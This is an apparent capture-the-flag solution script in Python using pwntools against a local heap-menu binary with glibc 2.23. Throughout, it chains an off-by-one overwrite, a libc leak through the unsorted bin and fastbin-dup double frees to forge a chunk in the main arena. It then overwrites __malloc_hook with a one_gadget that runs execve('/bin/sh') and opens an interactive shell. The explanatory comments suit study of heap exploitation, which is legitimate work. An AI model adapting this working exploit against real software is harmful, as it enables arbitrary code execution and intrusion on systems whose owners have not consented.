#!/usr/bin/env python

from pwn import *

def allocate(size):
    p.sendlineafter('Command: ', '1')
    p.sendlineafter('Size: ', str(size))

def update(index, size, content):
    p.sendlineafter('Command: ', '2')
    p.sendlineafter('Index: ', str(index))
    p.sendlineafter('Size: ', str(size))
    p.sendafter('Content: ', content)

def delete(index):
    p.sendlineafter('Command: ', '3')
    p.sendlineafter('Index: ', str(index))

def view(index):
    p.sendlineafter('Command: ', '4')
    p.sendlineafter('Index: ', str(index))
    p.recvuntil('Chunk[{}]: '.format(index))

def leak_libc():
    # data[0] => fastbin_0 (0x60)
    allocate(88)
    # data[1] => fastbin_1 (0x60)
    allocate(88)
    # data[2] => fastbin_2 (0x60)
    allocate(88)
    # data[3] => fastbin_3 (0x60)
    # this allocation prevents consolidation into the top chunk
    allocate(88)

    # off-by-one happens here. we overwrite fastbin_1's size in a way that its size
    # does not fit into fastbins
    update(0, 89, 'a' * 88 + '\xc1')

    # deleting data[1] causes fastbin_1 to be considered as a smallbin, so it will
    # be put into the unsorted bin after deletion
    delete(1)

    # data[1] => fastbin_1 (0x60)
    # this will write a libc address in the beginning of data[2]
    allocate(88)

    # first 8 bytes of data[2] is the fastbin_2's fd
    # so printing its content will leak a libc address in arena
    view(2)

    return u64(p.recv(8)) - 0x3c4b78

def exploit(libc_base):
    # data[4] => fastbin_2 (0x60)
    # this allocation causes data[4] and data[2] pointing to the same fastbin_2
    allocate(88)

    # due to the following double free, we can mount fastbin dup attack
    delete(2)
    delete(0)
    delete(4)

    # data[0] => fastbin_2 (0x60)
    allocate(88)

    # data[2] => fastbin_0 (0x60)
    allocate(88)

    # here we write 0x51 into the fastbin_2's fd
    # so when we do another allocation with size of 88
    # we can write 0x51 into the head of fastbin free list
    update(0, 8, p64(0x51))

    # data[4] => fastbin_2 (0x60)
    # after this allocation, 0x51 will be written into the head
    # of fastbin free list for chunks of 0x60 size
    allocate(88)

    # data[5] => fastbin_4 (0x50)
    allocate(72)
    # data[6] => fastbin_5 (0x50)
    allocate(72)
    # data[7] => fastbin_6 (0x50)
    allocate(72)
    # data[8] => fastbin_7 (0x50)
    # this allocation prevents consolidation into the top chunk
    allocate(72)

    # we use the off-by-one attack to launch fastbin dup attack again.
    # Here we are planning to allocate a fake chunk in main arena
    # Therefore, we set fastbin_5's size to 0xa1
    update(5, 73, '\x00' * 72 + '\xa1')

    # deleting fastbin_5 will be put it in the unsorted bin because
    # its size is 0xa1.
    delete(6)

    # data[6] => fastbin_5 (0x50)
    allocate(72)

    # data[9] => fastbin_6 (0x50)
    # this causes data[7] and data[9] is pointing to the same chunk(fastbin_6)
    allocate(72)

    # due to the following double free, we can mount fastbin dup attack
    delete(7)
    delete(5)
    delete(9)

    # data[5] => fastbin_6 (0x50)
    allocate(72)

    # data[7] => fastbin_4 (0x50)
    allocate(72)

    # here we are writing the address of our fake chunk into the fastbin_6's fd
    # basically, this fake chunk is created before "top chunk" pointer in main arena
    # the reason we can do this is because we wrote the value of 0x51 in the main arena
    # previously, so the fake chunk looks legitimate to malloc
    arena_fake_chunk = libc_base + 0x3c4b40
    print 'main arena\'s fake chunk: {}'.format(hex(arena_fake_chunk))
    update(5, 72, p64(arena_fake_chunk) + 'c' * 64)

    # data[9] => fastbin_6 (0x50)
    # this allocation puts the main arena fake chunk's address in the head of fastbin free list
    allocate(72)

    # data[10] => fastbin_8 (0x50)
    # data[10] is pointing to the arena fake chunk
    allocate(72)

    # here we have the ability to overwrite top chunk pointer to somewhere near the malloc_hook
    # this new chunk is pointing right before the malloc_hook
    malloc_hook_fake_chunk = libc_base + 0x3c4b00
    print 'malloc_hook\'s fake chunk: {}'.format(hex(malloc_hook_fake_chunk))
    # we need to keep the integrity of the arena, so we have to write the last two 8-byte values
    update(10, 72, '\x00' * 40 + p64(malloc_hook_fake_chunk) + p64(0) + p64(libc_base + 0x3c4b78) + p64(libc_base + 0x3c4b78))

    # data[11] => fastbin_9 (0x50)
    # this will use our fake top chunk and allocate a chunk that points right before malloc_hook
    allocate(72)

    '''
    0x4526a execve("/bin/sh", rsp+0x30, environ)
    constraints:
        [rsp+0x30] == NULL
    '''
    one_gadget = libc_base + 0x4526a
    print 'one gadget: {}'.format(hex(one_gadget))

    # we need to overwrite malloc_hook with one gadget address
    update(11, 8, p64(one_gadget))

    # we just need an arbitrary allocation to trigger malloc_hook
    allocate(10)

with context.quiet:
    p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'})

    libc_base = leak_libc()
    print 'libc base: {}'.format(hex(libc_base))

    exploit(libc_base)

    p.interactive()

